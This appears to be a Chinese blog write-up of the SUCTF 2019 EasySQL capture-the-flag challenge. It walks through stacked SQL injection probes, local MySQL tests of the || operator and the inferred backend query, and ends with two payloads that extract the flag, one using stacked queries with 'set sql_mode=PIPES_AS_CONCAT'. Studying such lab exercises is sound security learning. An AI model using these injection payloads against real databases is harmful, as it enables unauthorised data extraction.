[SUCTF 2019]EasySQL 的测试笔记

尝试堆叠注入:

query=-1;show+databases;--+ # -1 ctf ctftraining information_schema mysql performance_schema test
query=-1;show+tables;--+ # -1 Flag
query=-1;show+columns;--+ # -1

时发现无法注出,此时也就没思路了。

看大佬 WP,据大佬推断本题后端的 sql 查询语句为:select ".$_POST['query']."||flag from Flag,为什么?

题目进行以下测试:

  1. 查询 0,无返回
  2. 查询大于 0 的数字,只返回 1
  3. 查询 flag,返回 Nonono.,被过滤了
  4. 查询其他字母,无返回

还是不能理解。。

本地建表进行以下测试:

select 1||0 #1
select flag from Flag # flag{...}
# 下面的结果我就不能理解了
select flag||0 from Flag #0
select flag||1 from Flag #1
select 0||flag from Flag #0
select 1||flag from Flag #1

更不能理解了,select flag from Flag 明明是为真的,但按照测试,为什么它实际表现得是为假的呢?

继续测试:

SELECT 'a'||0 # 0

唉,mysql 这个结果真的让我不能理解,字符串居然被当作了 0。

破案了,select flag from Flag 确实会返回字符串 flag{...},但是不影响 || 0结果为 0

以下这段解释来自于 Copilot 生成,我不能确定正确性,但我觉得根据测试结果,我完全可以这么理解!

是因为在 mysql 中字符串||数字,会将字符串转换为数字,而字符串转换为数字时,只会取字符串中的数字,如果没有数字,则为 0。

现在再来理解后端的 sql 查询语句为什么是:select ".$_POST['query']."||flag from Flag

根据之前的测试结果:

  1. 查询 0,无返回
  2. 查询大于 0 的数字,只返回 1
  3. 查询 flag,返回 Nonono.,被过滤了
  4. 查询其他字母,无返回

可知查询数字 0 和字符串,返回的是临时空表,只有查询数字 1,才会返回临时表 1。这与上面的测试结果相符合。(不过这也只是马后炮,想在完全没做过这道题的情况下根据测试结果倒推 SQL 查询语句,想必是需要非常非常丰富的经验)

接下来就是根据后端的 sql 查询语句,构造 payload 了。

解1:

  • payload
query=*,1

后端拼接后的语句为

select *,1 || flag from Flag

题目过滤了 Flag

解2:

设置 set sql_mode=PIPES_AS_CONCAT,mysql 将把 || 视为字符串连接符

  • payload
1;set sql_mode=PIPES_AS_CONCAT;select 1

后端拼接的语句

select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag;

话说这几个 payload 是怎么知道 Flag 表的字段的???

参考:

BUUCTF:[SUCTF 2019]EasySQL
【mysql】逻辑运算符
linux和windows系统常用的管道符

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值